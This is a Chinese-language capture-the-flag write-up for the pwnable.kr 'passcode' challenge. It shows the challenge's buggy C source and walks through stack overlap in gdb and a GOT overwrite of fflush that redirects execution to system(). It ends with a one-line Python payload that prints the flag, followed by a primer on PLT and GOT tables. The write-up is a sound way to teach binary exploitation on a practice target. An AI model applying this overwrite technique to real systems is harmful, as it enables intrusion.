【pwnable】passcode

passcode

目录

  • 题目描述
  • WP
    • 下载源码
    • 二进制文件信息
    • 提取信息
    • 代码分析
    • gdb调试
    • GOT覆写
    • payload构造
    • 得到flag
  • 参考资料
    • GOT表和PLT表

题目描述

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

时间:2023年10月1日

类型:Pwn、GOT覆写

WP

下载源码

ssh连接服务器ssh passcode@pwnable.kr -p2222 (pw:guest)

scp下载scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode ~/

也可以用python开个http服务,访问下载

passcode@pwnable:~$  python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...

请添加图片描述

二进制文件信息

┌──(jiyabe🍍Shiona)-[~/桌面]
└─$ file passcode
passcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d2b7bd64f70e46b1b0eb7036b35b24a651c3666b, not stripped
┌──(jiyabe🍍Shiona)-[~/桌面]
└─$ checksec ./passcode           
[*] '/home/jiyabe/桌面/passcode'Arch:     i386-32-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

提取信息

#include 
#include void login(){int passcode1;int passcode2;printf("enter passcode1 : ");scanf("%d", passcode1);fflush(stdin);// ha! mommy told me that 32bit is vulnerable to bruteforcing :)printf("enter passcode2 : ");scanf("%d", passcode2);printf("checking...\n");if(passcode1==338150 && passcode2==13371337){printf("Login OK!\n");system("/bin/cat flag");}else{printf("Login Failed!\n");exit(0);}
}void welcome(){char name[100];printf("enter you name : ");scanf("%100s", name);printf("Welcome %s!\n", name);
}int main(){printf("Toddler's Secure Login System 1.0 beta.\n");welcome();login();// something after login...printf("Now I can safely trust you that you have credential :)\n");return 0;
}

代码分析

  • 主函数调用了2个函数,welcome和login,这两个函数中都使用了scanf,welcome读取100个字符,login读取2次数字整型
  • 本意是login函数用scanf函数接收输入的参数,然后判断passcode1、passcode2是否等于338150、13371337,但是这里的scanf它忘记使用&了,scanf需要接收的是一个变量的地址,但由于passcode前面没有使用&取址符,所以它会把从栈中获取4个字节当做地址。

gdb调试

welcome函数中给name赋值的scanf运行前做了一次内存读取。给name的值会写在[ebp-0x70]这个位置,也就是将[ebp-0x70]视为了一级指针

请添加图片描述

welcome和login函数在main中是连续调用的,也就是说他们使用了同样的栈底。此时看到login中给passcode1赋值的scanf运行前用的是mov并且是读取的一个指针。passcode1的值会这在[ebp-0x10]这个位置上读一个指针来写入,也就是将[ebp-0x10]视为二级指针。

请添加图片描述

因为他们的ebp相同,所以name的[ebp-0x70]和passcode1[ebp-0x10]相差了0x60(十进制96),我们给name输入100个字节,可以覆盖到[ebp-0x10]后4个字节,passcode1在这里读一个指针,指针刚好是4字节,也就是我们刚好可以覆盖到指针,从而改变passcode1的scanf的写入位置。

我们想要得到flag,唯一的方法是让程序运行到system(“/bin/cat flag”);,在汇编中就是:

请添加图片描述

现在if是不可能判断成功了,我们可以用其他的方式,让程序直接跳到system函数上。

现在我们可以任意操控passcode1写入的指针了,但是你操纵的指针指向的地址不一定是可写的,由于GOT表是可写的,这时我们可以GOT覆写。

GOT覆写

fflush.plt中有jmp指令,这是无条件跳转,它本是要跳到fflush@GOT表中去的,我们现在要让这个jmp跳到system函数上。

请添加图片描述

这是got表

请添加图片描述

payload构造

利用溢出,修改passcode1的scanf写入位置为 0x0804a004,再往里面写一个system函数代码段的指针(由于scanf使用%d读取的,所以要写10进制数)。(同时注意这里system函数代码段的指针是0x080485e3(134514147)而不是0x080485ea(134514154),这个mov指令放的是system函数要用到的参数)

请添加图片描述

得到flag

python -c "print 'a'*96+'\x04\xa0\x04\x08'+'\n'+'134514147'"|./passcode

请添加图片描述

参考资料

GOT表和PLT表

https://www.bilibili.com/video/BV1a7411p7zK/?spm_id_from=333.337.search-card.all.click&vd_source=327298fa5a5e65c3da553f54f3500c2e

GOT表(Global Offset Table)是全局函数表(动态函数表,全局函数偏移量表)有进程的所以函数的所以全局变量。GOT位于ELF的数据段中,叫做GOT段。命令readelf -r 文件名可以查看文件的重定位信息,GOT表的地址
PLT表(Procedure Link Table)则是局部函数表
动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.

简单来说,PLT和GOT就像是可执行文件和你引用的gilbc中函数之间两个对接员。GOT是一个表,里面放了真正的函数代码的地址。PLT是用来重定向GOT表的。这样重定向的好处就是:假如你有abc三个函数需要动态链接,那么在你第一次调用函数a时,才会加载定向函数a的代码;如果还未调用函数b、c那么b、c并不会被重定向,这样可以不至于在程序一启动就重定向太多代码。

请添加图片描述


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部